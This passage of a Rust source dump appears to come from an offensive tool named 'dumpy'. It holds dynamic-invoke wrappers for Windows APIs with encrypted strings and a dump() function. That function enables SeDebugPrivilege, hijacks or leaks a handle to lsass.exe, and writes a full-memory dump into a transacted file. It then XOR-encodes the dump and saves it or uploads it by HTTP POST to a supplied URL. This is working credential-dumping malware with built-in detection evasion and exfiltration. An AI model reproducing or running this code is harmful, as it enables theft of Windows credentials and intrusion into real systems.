477 | pub fn mini_dump_write_dump (process: HANDLE, process_id: u32, file: HANDLE, dump_type: u32, exception: *mut MINIDUMP_EXCEPTION_INFORMATION, stream: *mut MINIDUMP_USER_STREAM_INFORMATION, callback: *mut MINIDUMP_CALLBACK_INFORMATION) -> i32 {
478 |
479 | unsafe
480 | {
481 | let ret;
482 | let func_ptr: data::MiniDumpWriteDump;
483 | let dbg = load_library_a(&lc!("Dbgcore.dll")).unwrap();
484 | dynamic_invoke!(dbg,&lc!("MiniDumpWriteDump"),func_ptr,ret,process,process_id,file,dump_type,exception,stream,callback);
485 |
486 | match ret {
487 | Some(x) => return x,
488 | None => return 0,
489 | }
490 | }
491 | }
492 |
493 | /// Dynamically calls GetFileSize.
494 | ///
495 | pub fn get_file_size(handle: HANDLE, size: *mut u32) -> u32 {
496 |
497 | unsafe
498 | {
499 | let ret: Option;
500 | let func_ptr: data::GetFileSize;
501 | let kernel32 = get_module_base_address(&lc!("kernel32.dll"));
502 | dynamic_invoke!(kernel32,&lc!("GetFileSize"),func_ptr,ret,handle,size);
503 |
504 | match ret {
505 | Some(x) => return x,
506 | None => return 0,
507 | }
508 | }
509 | }
510 |
511 | /// Dynamically calls CreateFileMappingW.
512 | ///
513 | pub fn create_file_mapping (file: HANDLE, attributes: *const SECURITY_ATTRIBUTES, protect: u32, max_size_high: u32, max_size_low: u32, name: *mut u8) -> HANDLE {
514 |
515 | unsafe
516 | {
517 | let ret: Option;
518 | let func_ptr: data::CreateFileMapping;
519 | let kernel32 = get_module_base_address(&lc!("kernel32.dll"));
520 | dynamic_invoke!(kernel32,&lc!("CreateFileMappingW"),func_ptr,ret,file,attributes,protect,max_size_high,max_size_low,name);
521 |
522 | match ret {
523 | Some(x) => return x,
524 | None => return HANDLE { 0: 0 } ,
525 | }
526 | }
527 | }
528 |
529 | /// Dynamically calls MapViewOfFile.
530 | ///
531 | pub fn map_view_of_file (file: HANDLE, access: u32, off_high: u32, off_low: u32, bytes: usize) -> PVOID {
532 |
533 | unsafe
534 | {
535 | let ret: Option;
536 | let func_ptr: data::MapViewOfFile;
537 | let kernel32 = get_module_base_address(&lc!("kernel32.dll"));
538 | dynamic_invoke!(kernel32,&lc!("MapViewOfFile"),func_ptr,ret,file,access,off_high,off_low,bytes);
539 |
540 | match ret {
541 | Some(x) => return x,
542 | None => return ptr::null_mut() ,
543 | }
544 | }
545 | }
546 |
547 | /// Dynamically calls UnmapViewOfFile.
548 | ///
549 | pub fn unmap_view_of_file (base_address: PVOID) -> bool {
550 |
551 | unsafe
552 | {
553 | let ret: Option;
554 | let func_ptr: data::UnmapViewOfFile;
555 | let kernel32 = get_module_base_address(&lc!("kernel32.dll"));
556 | dynamic_invoke!(kernel32,&lc!("UnmapViewOfFile"),func_ptr,ret,base_address);
557 |
558 | match ret {
559 | Some(x) => return x.as_bool(),
560 | None => return false ,
561 | }
562 | }
563 | }
564 |
565 | /// Dynamically calls RollbackTransaction.
566 | ///
567 | pub fn rollback_transaction(transaction: HANDLE) -> bool {
568 |
569 | unsafe
570 | {
571 | let ret: Option;
572 | let func_ptr: data::RollbackTransaction;
573 | let ktmv = load_library_a(&lc!("KtmW32.dll")).unwrap();
574 | dynamic_invoke!(ktmv,&lc!("RollbackTransaction"),func_ptr,ret,transaction);
575 |
576 | match ret {
577 | Some(x) => return x.as_bool(),
578 | None => return false ,
579 | }
580 | }
581 | }
582 |
583 | pub fn get_last_error() -> u32
584 | {
585 | unsafe
586 | {
587 | let ret: Option;
588 | let func_ptr: data::GetLastError;
589 | let module_base_address = get_module_base_address(&lc!("kernel32.dll"));
590 | dynamic_invoke!(module_base_address,&lc!("GetLastError"),func_ptr,ret,);
591 |
592 | match ret {
593 | Some(x) => return x,
594 | None => return 0xf,
595 | }
596 | }
597 | }
598 |
599 | /// Dynamically calls SetHandleInformation.
600 | ///
601 | pub fn set_handle_information (object: HANDLE, mask: u32, flags: u32) -> bool {
602 |
603 | unsafe
604 | {
605 | let ret: Option;
606 | let func_ptr: data::SetHandleInformation;
607 | let kernel32 = get_module_base_address(&lc!("kernel32.dll"));
608 | dynamic_invoke!(kernel32,&lc!("SetHandleInformation"),func_ptr,ret,object,mask,flags);
609 |
610 | match ret {
611 | Some(x) => return x.as_bool(),
612 | None => return false ,
613 | }
614 | }
615 | }
616 |
617 | /// Dynamically calls NtWriteVirtualMemory.
618 | ///
619 | /// It will return the NTSTATUS value returned by the call.
620 | pub fn nt_write_virtual_memory (handle: HANDLE, base_address: PVOID, buffer: PVOID, size: usize, bytes_written: *mut usize) -> i32 {
621 |
622 | unsafe
623 | {
624 | let ret;
625 | let func_ptr: data::NtWriteVirtualMemory;
626 | let ntdll = get_module_base_address(&lc!("ntdll.dll"));
627 | dynamic_invoke!(ntdll,&lc!("NtWriteVirtualMemory"),func_ptr,ret,handle,base_address,buffer,size,bytes_written);
628 |
629 | match ret {
630 | Some(x) => return x,
631 | None => return -1,
632 | }
633 | }
634 |
635 | }
636 |
637 | /// Dynamically calls NtAllocateVirtualMemory.
638 | ///
639 | /// It will return the NTSTATUS value returned by the call.
640 | pub fn nt_allocate_virtual_memory (handle: HANDLE, base_address: *mut PVOID, zero_bits: usize, size: *mut usize, allocation_type: u32, protection: u32) -> i32 {
641 |
642 | unsafe
643 | {
644 | let ret;
645 | let func_ptr: data::NtAllocateVirtualMemory;
646 | let ntdll = get_module_base_address(&lc!("ntdll.dll"));
647 | dynamic_invoke!(ntdll,&lc!("NtAllocateVirtualMemory"),func_ptr,ret,handle,base_address,zero_bits,size,allocation_type,protection);
648 |
649 | match ret {
650 | Some(x) => return x,
651 | None => return -1,
652 | }
653 | }
654 | }
655 |
656 | /// Dynamically calls NtProtectVirtualMemory.
657 | ///
658 | /// It will return the NTSTATUS value returned by the call.
659 | pub fn nt_protect_virtual_memory (handle: HANDLE, base_address: *mut PVOID, size: *mut usize, new_protection: u32, old_protection: *mut u32) -> i32 {
660 |
661 | unsafe
662 | {
663 | let ret;
664 | let func_ptr: data::NtProtectVirtualMemory;
665 | let ntdll = get_module_base_address(&lc!("ntdll.dll"));
666 | dynamic_invoke!(ntdll,&lc!("NtProtectVirtualMemory"),func_ptr,ret,handle,base_address,size,new_protection,old_protection);
667 |
668 | match ret {
669 | Some(x) => return x,
670 | None => return -1,
671 | }
672 | }
673 | }
674 |
675 | /// Dynamically calls NtQueryInformationProcess.
676 | ///
677 | /// It will return the NTSTATUS value returned by the call.
678 | pub fn nt_query_information_process (handle: HANDLE, process_information_class: u32, process_information: PVOID, length: u32, return_length: *mut u32) -> i32 {
679 |
680 | unsafe
681 | {
682 | let ret;
683 | let func_ptr: data::NtQueryInformationProcess;
684 | let ntdll = get_module_base_address(&lc!("ntdll.dll"));
685 | dynamic_invoke!(ntdll,&lc!("NtQueryInformationProcess"),func_ptr,ret,handle,process_information_class,process_information,length,return_length);
686 |
687 | match ret {
688 | Some(x) => return x,
689 | None => return -1,
690 | }
691 | }
692 | }
693 |
694 | /// Dynamically calls RtlAdjustPrivilege.
695 | ///
696 | /// It will return the NTSTATUS value returned by the call.
697 | pub fn rtl_adjust_privilege(privilege: u32, enable: u8, current_thread: u8, enabled: *mut u8) -> i32 {
698 |
699 | unsafe
700 | {
701 | let ret;
702 | let func_ptr: data::RtlAdjustPrivilege;
703 | let ntdll = get_module_base_address(&lc!("ntdll.dll"));
704 | dynamic_invoke!(ntdll,&lc!("RtlAdjustPrivilege"),func_ptr,ret,privilege,enable,current_thread,enabled);
705 |
706 | match ret {
707 | Some(x) => return x,
708 | None => return -1,
709 | }
710 | }
711 | }
712 |
713 | /// Dynamically calls NtQuerySystemInformation.
714 | ///
715 | /// It will return the NTSTATUS value returned by the call.
716 | pub fn nt_query_system_information(system_information_class: u32, system_information: PVOID, length: u32, return_length: *mut u32) -> i32 {
717 |
718 | unsafe
719 | {
720 | let ret;
721 | let func_ptr: data::NtQuerySystemInformation;
722 | let ntdll = get_module_base_address(&lc!("ntdll.dll"));
723 | dynamic_invoke!(ntdll,&lc!("NtQuerySystemInformation"),func_ptr,ret,system_information_class,system_information,length,return_length);
724 |
725 | match ret {
726 | Some(x) => return x,
727 | None => return -1,
728 | }
729 | }
730 | }
731 |
732 | /// Dynamically calls NtQueryInformationThread.
733 | ///
734 | /// It will return the NTSTATUS value returned by the call.
735 | pub fn nt_query_information_thread(handle: HANDLE, thread_information_class: u32, thread_information: PVOID, length: u32, return_length: *mut u32) -> i32 {
736 |
737 | unsafe
738 | {
739 | let ret;
740 | let func_ptr: data::NtQueryInformationProcess;
741 | let ntdll = get_module_base_address(&lc!("ntdll.dll"));
742 | dynamic_invoke!(ntdll,&lc!("NtQueryInformationThread"),func_ptr,ret,handle,thread_information_class,thread_information,length,return_length);
743 |
744 | match ret {
745 | Some(x) => return x,
746 | None => return -1,
747 | }
748 | }
749 | }
750 |
751 | /// Dynamically calls NtQueryInformationFile.
752 | ///
753 | /// It will return the NTSTATUS value returned by the call.
754 | pub fn nt_query_information_file(handle: HANDLE, io: *mut IO_STATUS_BLOCK, file_information: PVOID, length: u32,file_information_class: u32) -> i32 {
755 |
756 | unsafe
757 | {
758 | let ret;
759 | let func_ptr: data::NtQueryInformationFile;
760 | let ntdll = get_module_base_address(&lc!("ntdll.dll"));
761 | dynamic_invoke!(ntdll,&lc!("NtQueryInformationFile"),func_ptr,ret,handle,io,file_information,length,file_information_class);
762 |
763 | match ret {
764 | Some(x) => return x,
765 | None => return -1,
766 | }
767 | }
768 | }
769 |
770 |
771 | /// Dynamically calls NtOpenProcess.
772 | ///
773 | /// It will return the NTSTATUS value returned by the call.
774 | pub fn nt_open_process(handle: *mut HANDLE, desired_access: u32, attributes: *mut OBJECT_ATTRIBUTES, client_id: *mut CLIENT_ID) -> i32 {
775 |
776 | unsafe
777 | {
778 | let ret;
779 | let func_ptr: data::NtOpenProcess;
780 | let ntdll = get_module_base_address(&lc!("ntdll.dll"));
781 | dynamic_invoke!(ntdll,&lc!("NtOpenProcess"),func_ptr,ret,handle,desired_access,attributes,client_id);
782 |
783 | match ret {
784 | Some(x) => return x,
785 | None => return -1,
786 | }
787 | }
788 | }
789 |
790 | /// Dynamically calls NtDuplicateObject.
791 | ///
792 | /// It will return the NTSTATUS value returned by the call.
793 | pub fn nt_duplicate_object(source_phandle: HANDLE, source_handle:HANDLE, target_phandle: HANDLE, target_handle: *mut HANDLE, desired_access: u32, attributes: u32, options: u32) -> i32 {
794 |
795 | unsafe
796 | {
797 | let ret;
798 | let func_ptr: data::NtDuplicateObject;
799 | let ntdll = get_module_base_address(&lc!("ntdll.dll"));
800 | dynamic_invoke!(ntdll,&lc!("NtDuplicateObject"),func_ptr,ret,source_phandle,source_handle,target_phandle,target_handle,desired_access,attributes,options);
801 |
802 | match ret {
803 | Some(x) => return x,
804 | None => return -1,
805 | }
806 | }
807 | }
808 |
809 | /// Dynamically calls NtQueryObject.
810 | ///
811 | /// It will return the NTSTATUS value returned by the call.
812 | pub fn nt_query_object(handle: HANDLE, object_information_class: u32, object_information: PVOID, length: u32, return_length: *mut u32) -> i32 {
813 |
814 | unsafe
815 | {
816 | let ret;
817 | let func_ptr: data::NtQueryObject;
818 | let ntdll = get_module_base_address(&lc!("ntdll.dll"));
819 | dynamic_invoke!(ntdll,&lc!("NtQueryObject"),func_ptr,ret,handle,object_information_class,object_information,length,return_length);
820 |
821 | match ret {
822 | Some(x) => return x,
823 | None => return -1,
824 | }
825 | }
826 | }
827 |
828 | /// Dynamically calls an exported function from the specified module.
829 | ///
830 | /// This macro will use the dinvoke crate functions to obtain an exported
831 | /// function address of the specified module in the runtime by walking process structures
832 | /// and PE headers.
833 | ///
834 | /// In case that this macro is used to call a dll entry point (DllMain), it will return true
835 | /// or false (using the 3rd argument passed to the macro) depending on the success of the call.
836 | /// In any other case, it will return the same data type that the called function would return
837 | /// using the 4th argument passed to the macro.
838 | ///
839 | /// # Example - Calling a dll entry point
840 | ///
841 | /// ```ignore
842 | /// let a = manualmap::read_and_map_module("c:\\some\\random\\file.dll").unwrap();
843 | /// let ret: bool = false;
844 | /// dinvoke::dynamic_invoke(&a.0, a.1, ret); // dinvoke::dynamic_invoke(&PeMetadata, i64, bool)
845 | /// if ret { println!("Entry point successfully called.");}
846 | /// ```
847 | /// # Example - Dynamically calling LoadLibraryA
848 | ///
849 | /// ```ignore
850 | /// let kernel32 = manualmap::read_and_map_module("c:\\windows\\system32\\kernel32.dll").unwrap();
851 | /// let mut ret:Option;
852 | /// let function_ptr: data::LoadLibraryA;
853 | /// let name = CString::new("ntdll.dll").expect("CString::new failed");
854 | /// let module_name = PSTR{0: name.as_ptr() as *mut u8};
855 | /// //dinvoke::dynamic_invoke(i64,&str,,Option,[arguments])
856 | /// dinvoke::dynamic_invoke(a.1, "LoadLibraryA", function_ptr, ret, module_name);
857 | ///
858 | /// match ret {
859 | /// Some(x) => if x.0 == 0 {println!("ntdll base address is 0x{:X}",x.0);},
860 | /// None => println!("Error calling LdrGetProcedureAddress"),
861 | /// }
862 | /// ```
863 | /// # Example - Dynamically calling with referenced arguments
864 | ///
865 | /// ```ignore
866 | /// let ptr = dinvoke::get_module_base_address("ntdll.dll");
867 | /// let function_ptr: LdrGetProcedureAddress;
868 | /// let ret: Option;
869 | /// let hmodule: PVOID = std::mem::transmute(ptr);
870 | /// let fun_name: *mut String = ptr::null_mut();
871 | /// let ordinal = 8 as u32;
872 | /// let return_address: *mut c_void = std::mem::transmute(&u64::default());
873 | /// let return_address: *mut PVOID = std::mem::transmute(return_address);
874 | /// //dinvoke::dynamic_invoke(i64,&str,,Option,[arguments])
875 | /// dinvoke::dynamic_invoke!(ptr,"LdrGetProcedureAddress",function_ptr,ret,hmodule,fun_name,ordinal,return_address);
876 | ///
877 | /// match ret {
878 | /// Some(x) => if x == 0 {println!("RtlDispatchAPC is located at the address: 0x{:X}",*return_address as u64);},
879 | /// None => println!("Error calling LdrGetProcedureAddress"),
880 | /// }
881 | /// ```
882 | #[macro_export]
883 | macro_rules! dynamic_invoke {
884 |
885 | ($a:expr, $b:expr, $c:expr) => {
886 |
887 | let ret = $crate::call_module_entry_point(&$a,$b);
888 |
889 | match ret {
890 | Ok(_) => $c = true,
891 | Err(_) => $c = false,
892 | }
893 |
894 | };
895 |
896 | ($a:expr, $b:expr, $c:expr, $d:expr, $($e:tt)*) => {
897 |
898 | let function_ptr = $crate::get_function_address($a, $b);
899 | if function_ptr != 0
900 | {
901 | $c = std::mem::transmute(function_ptr);
902 | $d = Some($c($($e)*));
903 | }
904 | else
905 | {
906 | $d = None;
907 | }
908 |
909 | };
910 | }
911 |
--------------------------------------------------------------------------------
/dumpy/dumper/Cargo.toml:
--------------------------------------------------------------------------------
1 | [package]
2 | name = "dumper"
3 | version = "0.1.0"
4 | edition = "2021"
5 |
6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
7 | [profile.dev.package.dumper]
8 | opt-level = 2
9 | debug = 0
10 |
11 | [dependencies]
12 | bindings = { path = "../bindings" }
13 | data = { path = "../data" }
14 | dinvoke = { path = "../dinvoke" }
15 | litcrypt2 = "0.1.2"
16 | ureq = "*"
17 | rand = "0.8.4"
18 | base64 = "*"
19 | ntapi = "0.4"
20 |
--------------------------------------------------------------------------------
/dumpy/dumper/src/lib.rs:
--------------------------------------------------------------------------------
1 | //#![crate_type = "cdylib"]
2 | //cargo rustc -- --crate-type cdylib
3 | #[macro_use]
4 | extern crate litcrypt2;
5 | use_litcrypt!();
6 |
7 | extern crate base64;
8 |
9 | use bindings::Windows::Win32::Foundation::BOOL;
10 | use bindings::Windows::Win32::System::Threading::{GetCurrentThread, STARTUPINFOW, PROCESS_INFORMATION};
11 | use bindings::Windows::Win32::System::WindowsProgramming::IO_STATUS_BLOCK;
12 | use litcrypt2::lc;
13 | use rand::{thread_rng, Rng};
14 | use rand::distributions::Alphanumeric;
15 | use std::io::Cursor;
16 | use std::thread;
17 | use std::{fs::{self, File}, io::{Read, Write}, mem::size_of, ptr};
18 | use bindings::Windows::Win32::{Foundation::HANDLE, System::{Threading::GetCurrentProcess, WindowsProgramming::{CLIENT_ID, OBJECT_ATTRIBUTES, PUBLIC_OBJECT_TYPE_INFORMATION}}};
19 | use data::{PAGE_READONLY, PVOID, SYSTEM_HANDLE_INFORMATION, SYSTEM_HANDLE_TABLE_ENTRY_INFO, THREAD_BASIC_INFORMATION, GENERIC_READ, OVERLAPPED, REQUEST_OPLOCK_INPUT_BUFFER, REQUEST_OPLOCK_OUTPUT_BUFFER, THREAD_ALL_ACCESS, FILE_PROCESS_IDS_USING_FILE_INFORMATION};
20 |
21 |
22 | //#[no_mangle]
23 | //pub extern "Rust" fn dump(key: &str) {
24 | pub fn dump(key: &str, url: &str, leak: bool) {
25 | unsafe
26 | {
27 | let lsass_pid = get_pid_from_image_path(&lc!("C:\\Windows\\System32\\lsass.exe")) as u16;
28 | let mut target_pid = 0u16;
29 |
30 | if leak
31 | {
32 | target_pid = get_pid_from_image_path(&lc!("C:\\Windows\\System32\\seclogon.dll")) as u16;
33 | }
34 |
35 | let privilege: u32 = 20;
36 | let enable: u8 = 1;
37 | let current_thread: u8 = 0;
38 | let enabled: *mut u8 = std::mem::transmute(&u8::default());
39 |
40 | //Enable SeDebugPrivilee
41 | let r = dinvoke::rtl_adjust_privilege(privilege,enable,current_thread,enabled);
42 |
43 | if r != 0
44 | {
45 | println!("{}",&lc!("[x] SeDebugPrivilege could not be enabled."));
46 | return;
47 | }
48 | else
49 | {
50 | println!("{}", &lc!("[+] SeDebugPrivilege successfully enabled."));
51 | }
52 |
53 | if leak
54 | {
55 | force_leakage();
56 | }
57 |
58 | let shi: *mut SYSTEM_HANDLE_INFORMATION;
59 | let mut ptr: PVOID;
60 | let mut buffer;
61 | let mut bytes = 0x10000;
62 | let mut c = 0;
63 |
64 | loop
65 | {
66 | buffer = vec![0u8; bytes as usize];
67 | ptr = std::mem::transmute(buffer.as_ptr());
68 | let bytes_ptr: *mut u32 = std::mem::transmute(&bytes);
69 | // Query the system looking for handles information
70 | let x = dinvoke::nt_query_system_information(16,ptr,bytes,bytes_ptr);
71 |
72 | if x != 0
73 | {
74 | bytes *= 2;
75 | }
76 | else
77 | {
78 | shi = std::mem::transmute(ptr);
79 | break;
80 | }
81 |
82 | c = c + 1;
83 |
84 | if c > 20
85 | {
86 | println!("{}", &lc!("[x] Timeout. Call to NtQuerySystemInformation failed."));
87 | }
88 | }
89 |
90 | println!("{}{}{}",&lc!("[+] Retrieved "), (*shi).number_of_handles, &lc!(" handles. Starting analysis..."));
91 | let mut shtei: *mut SYSTEM_HANDLE_TABLE_ENTRY_INFO = std::mem::transmute(&(*shi).handles);
92 | for counter in 0..(*shi).number_of_handles
93 | {
94 |
95 | if counter % 10000 == 0 && counter > 0
96 | {
97 | println!(" \\ {} handles have been analyzed so far...", counter);
98 | }
99 |
100 | if (*shtei).process_id > 4 && (*shtei).process_id != lsass_pid && ((*shtei).process_id == target_pid || target_pid == 0)
101 | {
102 | let h = HANDLE::default();
103 | let handle_ptr: *mut HANDLE = std::mem::transmute(&h);
104 | let o = OBJECT_ATTRIBUTES::default();
105 | let object_attributes: *mut OBJECT_ATTRIBUTES = std::mem::transmute(&o);
106 | let client_id = CLIENT_ID {UniqueProcess: HANDLE{0:(*shtei).process_id as isize}, UniqueThread: HANDLE::default()};
107 | let client_id: *mut CLIENT_ID = std::mem::transmute(&client_id);
108 |
109 | // PROCESS_DUP_HANDLE as access right
110 | let x = dinvoke::nt_open_process(
111 | handle_ptr,
112 | 0x0040,
113 | object_attributes,
114 | client_id
115 | );
116 |
117 | let handle;
118 | if x == 0
119 | {
120 | handle = *handle_ptr;
121 | }
122 | else
123 | {
124 | shtei = shtei.add(1);
125 | continue;
126 | };
127 |
128 |
129 | if handle.0 != 0 && handle.0 != -1
130 | {
131 | let target = HANDLE {0: (*shtei).handle_value as isize};
132 | let h = HANDLE::default();
133 | let mut dup_handle: *mut HANDLE = std::mem::transmute(&h);
134 | let mut desired_access: u32 = 0x0400|0x0010; // PROCESS_QUERY_INFORMATION & PROCESS_VM_READ
135 | let mut options: u32 = 0;
136 |
137 | // lsass handle obtained from seclogon's race condition cant be upgraded directly, two steps are required
138 | // Therefore, we first duplicate the handle with the same access
139 | if leak
140 | {
141 | desired_access = 0;
142 | options = 0x00000002; // DUPLICATE_SAME_ACCESS
143 | }
144 |
145 | // Duplicate handle in order to manipulate it
146 | let x = dinvoke::nt_duplicate_object(
147 | handle,
148 | target,
149 | GetCurrentProcess(),
150 | dup_handle,
151 | desired_access,
152 | 0,
153 | options
154 | );
155 |
156 | if x != 0
157 | {
158 | shtei = shtei.add(1);
159 | let _r = dinvoke::close_handle(handle).unwrap();
160 | continue;
161 | }
162 |
163 | let poti = PUBLIC_OBJECT_TYPE_INFORMATION::default();
164 | let poti_ptr: PVOID = std::mem::transmute(&poti);
165 | let l = u32::default();
166 | let ret_lenght: *mut u32 = std::mem::transmute(&l);
167 |
168 | // We obtain information about the handle. Two calls to NtQueryObject are required in order to make it work.
169 | let _ = dinvoke::nt_query_object(
170 | *dup_handle,
171 | 2,
172 | poti_ptr,
173 | size_of::() as u32,
174 | ret_lenght
175 | );
176 |
177 | let buffer = vec![0u8; *ret_lenght as usize];
178 | let poti_ptr: PVOID = std::mem::transmute(buffer.as_ptr());
179 |
180 | let x = dinvoke::nt_query_object(
181 | *dup_handle,
182 | 2,
183 | poti_ptr,
184 | *ret_lenght,
185 | ret_lenght
186 | );
187 |
188 | if x != 0
189 | {
190 | let _r = dinvoke::close_handle(*dup_handle).unwrap();
191 | let _r = dinvoke::close_handle(handle).unwrap();
192 | shtei = shtei.add(1);
193 | continue;
194 | }
195 |
196 | let poti_ptr: *mut PUBLIC_OBJECT_TYPE_INFORMATION = std::mem::transmute(poti_ptr);
197 | let poti = *poti_ptr;
198 | let mut type_name: String = "".to_string();
199 | let mut buffer: *mut u8 = poti.TypeName.Buffer.0 as *mut u8;
200 | for _i in 0..poti.TypeName.Length
201 | {
202 | if *buffer as char != '\0'
203 | {
204 | type_name.push(*buffer as char);
205 | }
206 | buffer = buffer.add(1);
207 |
208 | }
209 |
210 | // We have a process handle
211 | if type_name.to_lowercase() == "process"
212 | {
213 | if leak
214 | {
215 | let f = HANDLE::default();
216 | let full_access_handle: *mut HANDLE = std::mem::transmute(&f);
217 | // We need to upgrade our lsass handle to full accesss in order to be able to dump the memory content
218 | let x = dinvoke::nt_duplicate_object(
219 | *dup_handle,
220 | GetCurrentProcess(),
221 | GetCurrentProcess(),
222 | full_access_handle,
223 | THREAD_ALL_ACCESS,
224 | 0,
225 | 0
226 | );
227 |
228 | if x != 0
229 | {
230 | shtei = shtei.add(1);
231 | let _r = dinvoke::close_handle(*dup_handle).unwrap();
232 | let _r = dinvoke::close_handle(handle).unwrap();
233 | continue;
234 | }
235 |
236 | let _r = dinvoke::close_handle(*dup_handle).unwrap();
237 | dup_handle = full_access_handle;
238 |
239 | }
240 |
241 | let len = 500usize; // I dont really think it does exist a process image name longer than 500 characters
242 | let buffer = vec![0u8; len];
243 | let buffer: *mut u16 = std::mem::transmute(buffer.as_ptr());
244 | let ret_len: *mut u32 = std::mem::transmute(&len);
245 | let z = dinvoke::query_full_process_image_name(
246 | *dup_handle,
247 | 0,
248 | buffer,
249 | ret_len
250 | );
251 |
252 | if z == 0
253 | {
254 | shtei = shtei.add(1);
255 | let _r = dinvoke::close_handle(*dup_handle).unwrap();
256 | let _r = dinvoke::close_handle(handle).unwrap();
257 | continue;
258 | }
259 |
260 | let mut image_name: String = "".to_string();
261 | let mut buff: *mut u8 = std::mem::transmute(buffer);
262 | for _i in 0..(*ret_len) * 2 // Each char is followed by \0. Lovely LPWSTR...
263 | {
264 | if *buff as char != '\0'
265 | {
266 | image_name.push(*buff as char);
267 | }
268 | buff = buff.add(1);
269 | }
270 |
271 | let temp = (*dup_handle).0;
272 | // We have a valid process handled
273 | if image_name.contains(&lc!("lsass.exe"))
274 | {
275 | println!("{}.", &lc!("[+] Valid handle to lssas found"));
276 |
277 | // This is required due to Rust optimizations in order to keep the handle active.
278 | let new_handle = HANDLE { 0: temp};
279 | let dup_handle: *mut HANDLE = std::mem::transmute(&new_handle);
280 | (*dup_handle).0 = temp;
281 |
282 | let description = "\0\0".as_ptr() as *mut u16;
283 | let z = dinvoke::create_transaction(
284 | ptr::null_mut(),
285 | ptr::null_mut(),
286 | 0,
287 | 0,
288 | 0,
289 | 0,
290 | description
291 | );
292 |
293 | let transaction_handle: HANDLE;
294 | if z.0 == -1
295 | {
296 | shtei = shtei.add(1);
297 | let _r = dinvoke::close_handle(*dup_handle).unwrap();
298 | let _r = dinvoke::close_handle(handle).unwrap();
299 |
300 | println!("{}", &lc!("[x] Transaction creation failed."));
301 | continue;
302 | }
303 | else
304 | {
305 | transaction_handle = z;
306 | }
307 |
308 | let m = 0xffffu32;
309 | let mini: *const u32 = std::mem::transmute(&m);
310 | let rand_string: String = thread_rng()
311 | .sample_iter(&Alphanumeric)
312 | .take(20)
313 | .map(char::from)
314 | .collect();
315 |
316 | let file_name = format!(".\\{}{}", rand_string, ".log");
317 | let file_name = file_name.as_ptr() as *mut u8;
318 | let z = dinvoke::create_file_transacted(
319 | file_name,
320 | 0x80000000 | 0x40000000,
321 | 0x00000002,
322 | ptr::null(),
323 | 0x00000001,
324 | 0x100 | 0x04000000,
325 | HANDLE::default(),
326 | transaction_handle,
327 | mini,
328 | ptr::null_mut()
329 | );
330 |
331 | let transacted_file_handle: HANDLE;
332 | if z.0 == -1
333 | {
334 | let _r = dinvoke::close_handle(transaction_handle).unwrap();
335 | let _r = dinvoke::close_handle(*dup_handle).unwrap();
336 | let _r = dinvoke::close_handle(handle).unwrap();
337 | shtei = shtei.add(1);
338 |
339 | println!("{}", &lc!("[x] Transacted file creation failed."));
340 | continue;
341 | }
342 | else
343 | {
344 | transacted_file_handle = z;
345 | }
346 |
347 | // We use the duplicated handle to dump the process memory
348 | let x = dinvoke::mini_dump_write_dump(
349 | *dup_handle,
350 | 0,
351 | transacted_file_handle,
352 | 0x00000002, // MiniDumpWithFullMemory
353 | ptr::null_mut(),
354 | ptr::null_mut(),
355 | ptr::null_mut()
356 | );
357 |
358 | if x == 1
359 | {
360 | println!("{}",&lc!("[!] Lsass dump created!"));
361 |
362 | let dump_size = dinvoke::get_file_size(
363 | transacted_file_handle,
364 | ptr::null_mut()
365 | );
366 |
367 | let z = dinvoke::create_file_mapping(
368 | transacted_file_handle,
369 | ptr::null(),
370 | PAGE_READONLY,
371 | 0,
372 | 0,
373 | ptr::null_mut()
374 | );
375 |
376 |
377 | let map_handle: HANDLE;
378 | if z.0 == -1
379 | {
380 | shtei = shtei.add(1);
381 | let _r = dinvoke::close_handle(transacted_file_handle).unwrap();
382 | let _r = dinvoke::close_handle(transaction_handle).unwrap();
383 | let _r = dinvoke::close_handle(*dup_handle).unwrap();
384 | let _r = dinvoke::close_handle(handle).unwrap();
385 | continue;
386 | }
387 | else
388 | {
389 | map_handle = z;
390 | }
391 |
392 | let ret = dinvoke::map_view_of_file(
393 | map_handle,
394 | 4, // FILE_MAP_READ
395 | 0,
396 | 0,
397 | 0
398 | );
399 |
400 | let mut view_ptr = ret as *mut u8;
401 |
402 | let key = format!("{}{}", key, "\0");
403 | let mut key_ptr = key.as_ptr();
404 | let mut xor_key: u8 = *key_ptr;
405 | key_ptr = key_ptr.add(1);
406 | while *key_ptr != '\0' as u8
407 | {
408 | xor_key = xor_key ^ *key_ptr;
409 | key_ptr = key_ptr.add(1);
410 | }
411 |
412 | let mut view_xor: Vec = vec![];
413 | for _i in 0..dump_size
414 | {
415 | view_xor.push(*view_ptr ^ xor_key);
416 | view_ptr = view_ptr.add(1);
417 | }
418 |
419 | let rand_string: String = thread_rng()
420 | .sample_iter(&Alphanumeric)
421 | .take(7)
422 | .map(char::from)
423 | .collect();
424 |
425 | if url == ""
426 | {
427 | let holder: Vec = vec![0;dump_size as usize + 1];
428 | let mut h: *mut u8 = holder.as_ptr() as *mut u8;
429 | h = h.add(1);
430 | std::ptr::copy_nonoverlapping(view_xor.as_ptr() as *const _, h, dump_size as usize);
431 | let output_path = format!("{}{}", rand_string, ".txt");
432 | let mut file = std::fs::File::create(&output_path).unwrap();
433 | let _r = file.write(holder.as_slice()).unwrap();
434 |
435 | println!("{} {}.", &lc!("[+] Memory dump written to file"), output_path.as_str());
436 |
437 | }
438 | else
439 | {
440 | let rand_boundary: String = thread_rng()
441 | .sample_iter(&Alphanumeric)
442 | .take(16)
443 | .map(char::from)
444 | .collect();
445 |
446 | let boundary: &str = &format!("{},{}", "------------------------", rand_boundary);
447 | let mut data = Vec::new();
448 | let _ = write!(data, "--{}\r\n", boundary);
449 | let _ = write!(data, "Content-Disposition: form-data; name=\"file\"; filename=\"{}\"\r\n", rand_string);
450 | let _ = write!(data, "Content-Type: text/plain\r\n");
451 | let _ = write!(data, "\r\n");
452 |
453 | let _ = write!(data, "{}", base64::encode(&view_xor));
454 | let _ = write!(data, "\r\n"); // The key thing you are missing
455 | let _ = write!(data, "--{}--\r\n", boundary);
456 |
457 | let read = Cursor::new(&data);
458 | let cont_type = format!("multipart/form-data; boundary={}", boundary);
459 | let _ = ureq::post(url)
460 | .set("content-type",cont_type.as_str())
461 | .set("Content-Length", data.len().to_string().as_str())
462 | .send(read);
463 |
464 | println!("{}", &lc!("[+] File uploaded."));
465 | }
466 |
467 | let _unmap = dinvoke::unmap_view_of_file(ret);
468 | let _ret = dinvoke::rollback_transaction(transaction_handle);
469 |
470 | let _r = dinvoke::close_handle(transacted_file_handle).unwrap();
471 | let _r = dinvoke::close_handle(map_handle).unwrap();
